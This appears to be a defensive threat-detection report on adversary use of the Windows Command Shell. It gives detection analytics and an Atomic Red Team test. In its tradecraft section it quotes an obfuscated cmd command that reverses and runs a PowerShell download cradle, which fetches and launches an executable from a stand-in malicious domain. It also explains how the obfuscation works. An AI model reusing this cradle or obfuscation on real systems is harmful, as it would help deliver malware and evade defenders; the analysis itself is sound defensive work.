Technique T1059.003

Windows Command Shell

While it doesn’t do much on its own, Windows Command Shell can call on virtually any executable on the system to execute batch files and arbitrary tasks.

#1

Parent technique rank

38.4%

Organizations affected

1984

Confirmed threats

Analysis

Why do adversaries use Windows Command Shell?

Windows Command Shell is ubiquitous across all versions of Windows and, unlike its more sophisticated and capable cousin, PowerShell, the Windows Command Shell takes no dependencies on specific versions of .NET. While Command Shell’s native capabilities are limited, they have been stable for years, maybe even decades. Adversaries know that if cmd.exe works in their lab, it’s going to work in the field.

The Windows Command Shell is the no-frills field general in an adversary’s arsenal. It may not be able to do much on its own, but it is capable of calling on virtually any executable on the system to carry out its mission.

Because Command Shell can execute batch files, adversaries can use it to reliably and repeatedly execute arbitrary tasks.

How do adversaries use Windows Command Shell?

In a review of more than 1,000 confirmed threat detections, we found cmd.exe called more than 6,000 times in more than 4,000 unique command lines across hundreds of customer environments. PowerShell was a child process of cmd in more than 480 instances. We saw more than 350 references to unique batch files and 270 unique scheduled tasks calling cmd across more than 30 customer environments.

One of the most commonly observed techniques is the use of cmd to call native commands and redirect the output of those commands to a file on the local admin share, for example:

This technique is consistent with Impacket, an open source tool that adversaries use to manipulate networking protocols. We observed similar patterns of execution and output redirection nearly 400 times across more than a dozen customer environments.

Emerging Windows Command Shell tradecraft 

Windows Command Shell was originally released in 1987 and, though it has new user-interface features in Windows 10, it has a relatively limited set of built-in commands—commands that may be invoked without starting a new process on the system. This old dog isn’t really doing new tricks. In the last quarter of 2020, we observed 11 detections for cmd.exe replacing utilman.exe enabling authentication bypass. The only Windows Command Shell detections with higher frequency counts in that quarter involved suspected red team activity and similar internal testing tools.

Having said that, if there is anything novel involving cmd.exe, it may be obfuscation. In the spring of 2018, Daniel Bohannon released a whitepaper on DOS obfuscation techniques and a framework called Invoke-DOSfucation for creating obfuscated DOS command lines that could be used to evade simple, signature-based detections and slow down human analysis. In our data set of more than 1,000 detections involving the Windows Command Shell, we found 91 unique command lines involving some measure of obfuscation. The most heavily obfuscated DOS command we observed was similar to the one shown here:

In the Windows Command Shell, the caret (^) character is an escape character. When it precedes special characters, like the pipe (|) character or file redirection operators (<>), those special characters will be treated as normal characters. When the caret symbol precedes non-special characters, nothing special happens; it is effectively ignored. So the command above becomes:

cmd /V/C"set N1=      }}{hctac};kaerb;iB$ metI-ekovnI;)iB$ ,dq$(eliFdaolnwoD.cAB${yrt{)tlm$ ni dq$(hcaerof;'exe.'+Kjm$+'\'+cilbup:vne$=iB$;'963' = Kjm$;)'@'(tilpS.'detcefni=l?php.suoici/lam/niamod.live//:ptth'=tlm$;tneilCbeW.teN tcejbo-wen=cAB$ llehsrewop&&for /L %R in (265;-1;0)do set ZR=!ZR!!N1:~%R,1!&&if %R==0 call %ZR:*ZR!=%

Looking at this command carefully, we can see it sets a variable named N1 to a string containing a PowerShell command that is reversed. There’s a For loop that reverses this string and executes it. The PowerShell command creates a download cradle to download a file and invokes it via a call to Invoke-Item.

While these obfuscated commands may evade simple, signature-based detections, analytics that look for commonly used obfuscation techniques, such as the presence of caret characters, can easily detect them. Layered detection analytics will also help. If a detection misses the obfuscated DOS commands, another detection may trigger on the PowerShell download cradle, the call to Invoke-Item, or a DNS lookup to an unusual domain.

Definition

Detection

Collection requirements

Process and command-line monitoring

Windows Security Event Logs—specifically Process Creation (ID 4688) events with command-line argument logging enabled—will be the best source of observing and detecting malicious usage of the Windows Command Shell. Having a good understanding of baseline scripts and processes that call the Windows Command Shell is essential to reducing noise and combating potential false positive alerts.

Detection opportunities

Focus on the uncommon patterns of execution and patterns of execution commonly associated with malice. If you’re trying to detect various flavors of obfuscation, consider monitoring for the following:

  • the execution of a process that seems to be cmd.exe in conjunction with a command line containing high numbers of characters that suggest the use of obfuscation, like ^, = , % , ! , [ , ( , ;
  • excessive use of the set and call commands in the context of a cmd.exe process
  • unusually high numbers of multiple whitespaces in the command line
  • redirection of output to the localhost’s admin share: e.g., > \\computername\c$
  • execution of commands associated with other attack techniques (such as calls to regsvr32.exe or regasm.exe that load unusual dynamic link libraries)
  • calls to reg.exe that modify registry keys to enable or disable things like Remote Desktop or User-Access-Control, or that write data to or read from unusual registry keys

Consider stripping the following characters from your command line before applying your detection logic: ( " ) ^

Though cmd.exe itself is fairly limited in its capabilities, it has many tools it can call into the fight. Having a good understanding of those tools is essential to detecting malicious use of Windows Command Shell.

Weeding out false positives

Unfortunately, the best data source for detecting malicious use of the Windows Command Shell—Process Creation events with command-line arguments captured (Event ID 4688 in the Windows Security Event log)—will also be the primary source of false positives. Understanding your environment and how Windows Command Shell is normally used will help you separate the wheat from the chaff. Create filters to bucket normal usage, unusual usage, and suspicious or known malicious usage to build a successful detection pipeline that doesn’t overwhelm analysts with false positives.

Testing

Getting Started With Atomic Red Team

Start testing your defenses against Windows Command Shell using Atomic Red Team—an open source testing framework of small, highly portable detection tests mapped to MITRE ATT&CK.

Getting started

View atomic tests for T1059.003: Windows Command Shell . In most environments, these should be sufficient to generate a useful signal for defenders.

Run this test on a Windows system using Command Prompt:
%LOCALAPPDATA:~-3,1%md /c echo Hello, from CMD! > hello.txt & type hello.txt

What to expect

This obfuscates cmd.exe, writes “Hello, from CMD!” to hello.txt, and then displays it.

Useful telemetry will include:
Data sourceTelemetry
Data source:

Process monitoring

Telemetry:

A cmd.exe process will start

Data source:

Process command-line parameters

Telemetry:

Command-line logging will capture the context of what is executed.

Data source:

File monitoring

Telemetry:

hello.txt is created, written to, and read from.

Review and repeat

Now that you have executed one or several common tests and checked for the expected results, it’s useful to answer some immediate questions:

  • Were any of your actions detected?
  • Were any of your actions blocked or prevented?
  • Were your actions visible in logs or other defensive telemetry?

Repeat this process, performing additional tests related to this technique. You can also create and contribute tests of your own.

Matt Graeber
Director of Threat Research
Matt has worked the majority of his security career in offense, facilitating his application of an attacker’s mindset to detection engineering, which involves developing detection evasion strategies. By pointing out gaps in detection coverage, Matt is able to effectively offer actionable detection improvement guidance. Matt loves to apply his reverse engineering skills to understand attack techniques at a deeper level in order to more confidently contextualize them, understand relevant detection optics, and to understand the workflow attackers use to evade security controls. Matt is committed to making security research both accessible and actionable.
Matt has worked the majority of his security career in offense, facilitating his application of an attacker’s mindset to detection engineering, which involves developing detection evasion strategies. By pointing out gaps in detection coverage, Matt is able to effectively offer actionable detection improvement guidance. Matt loves to apply his reverse engineering skills to understand attack techniques at a deeper level in order to more confidently contextualize them, understand relevant detection optics, and to understand the workflow attackers use to evade security controls. Matt is committed to making security research both accessible and actionable.